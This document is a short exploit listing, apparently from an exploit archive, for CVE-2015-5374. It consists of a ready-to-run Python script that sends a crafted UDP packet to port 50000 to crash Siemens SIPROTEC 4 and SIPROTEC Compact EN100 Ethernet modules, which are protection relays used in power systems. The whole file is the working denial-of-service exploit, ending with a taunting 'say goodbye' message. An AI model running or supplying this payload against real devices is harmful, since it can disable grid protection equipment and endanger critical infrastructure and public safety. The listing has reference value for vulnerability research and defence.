# Exploit Title: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service
# Date: 14.02.2018
# Exploit Author: M. Can Kurnaz
# Contact: https://twitter.com/0x43414e
# Vendor Homepage: https://www.siemens.com
# Version: All devices that include the EN100 Ethernet module version V4.24 or prior.
# Tested on: Siemens SIPROTEC 4 (multiple versions < V4.25).
# CVE : CVE-2015-5374
# Vulnerability Details:
# https://www.cvedetails.com/cve/CVE-2015-5374/
# https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01

#!/usr/bin/env python

import socket
import sys

print('CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service')

if len(sys.argv) < 2:
 print('Usage: ' + sys.argv[0] + ' [target]')
 sys.exit(1)

print('Sending packet to ' + sys.argv[1] + ' ...')

payload = bytearray('11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E'.replace(' ', '').decode('hex'))

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 50000))

print('Done, say goodbye!')